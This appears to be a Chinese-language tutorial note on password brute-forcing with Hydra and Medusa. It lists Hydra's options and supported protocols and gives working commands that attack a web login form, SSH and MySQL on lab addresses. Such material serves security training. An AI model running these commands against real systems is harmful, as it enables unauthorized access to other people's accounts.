密码爆破及工具

密码爆破及工具

工具及其适用

hydra

使用场景：

AFP，Cisco AAA，Cisco身份验证，Cisco启用，CVS，Firebird，FTP，HTTP-FORM-GET，HTTP-FORM-POST，HTTP-GET，HTTP-HEAD，HTTP-PROXY，HTTPS-FORM- GET，HTTPS-FORM-POST，HTTPS-GET，HTTPS-HEAD，HTTP-Proxy，ICQ，IMAP，IRC，LDAP，MS-SQL，MYSQL，NCP，NNTP，Oracle Listener，Oracle SID，Oracle，PC-Anywhere， PCNFS，POP3，POSTGRES，RDP，Rexec，Rlogin，Rsh，SAP / R3，SIP，SMB，SMTP，SMTP枚举，SNMP，SOCKS5，SSH（v1和v2），Subversion，Teamspeak（TS2），Telnet，VMware-Auth ，VNC和XMPP。

支持这些协议的爆破

语法：

Syntax: hydra [[[-l LOGIN|-L FILE] [-p PASS|-P FILE]] | [-C FILE]] [-e nsr] [-o FILE] [-t TASKS] [-M FILE [-T TASKS]] [-w TIME] [-W TIME] [-f] [-s PORT] [-x MIN:MAX:CHARSET] [-c TIME] [-ISOuvVd46] [-m MODULE_OPT] [service://server[:PORT][/OPT]]
-l 用户名
-L 用户名字典
-p 密码
-P 密码字典
-s 端口号
-m 指定业务系统自定义的url目录地址，即主机端口后面的部分。用 : 分隔
	url目录:请求正文:登录失败情况模糊匹配
-e ns 自动确定是否登录成功（适用于协议具有规则响应的爆破，而不是业务系统自定义respones的情况）
-o 将爆破的详细情况输出为日志文件
-t 同时运行线程数，默认16
-R 恢复爆破（如果破解中断了，下次执行 hydra -R /path/to/hydra.restore 就可以继续任务。）
-M file 指定目标ip列表文件，批量破解。
-f 找到第一对登录名或者密码的时候中止破解。
服务类型：这就需要自己通过查看页面源代码或抓包自主确认
-v 展示详细的爆破信息

• 爆破woniusales

hydra -s 8080 -l admin -P ./dict/passtest.txt 192.168.230.147 -m "/woniusales/user/login:username=^USER^&password=^PASS^&verifycode=0000:login-fail" http-form-post

爆破成功之后会将爆破成功的结果高亮显示

• 爆破ssh

hydra -l root -P ./passtest.txt -vV -o ./ssh_crack.log -e ns 192.168.230.147 ssh

• 爆破mysql

hydra -l root -p ./passtest.txt -vV -o mysql_crack.log -e ns 192.168.230.150 mysql

medusa

参数代表的意思略有区别，但是形式很像

比如在这里爆破ssh

medusa -h 192.168.230.150 -u root -P ./passtest.txt -t 200 -M ssh

-u 用户
-U 用户字典
-p 密码
-P 密码字典

crunch字典生成工具

https://www.pianshen.com/article/23811348552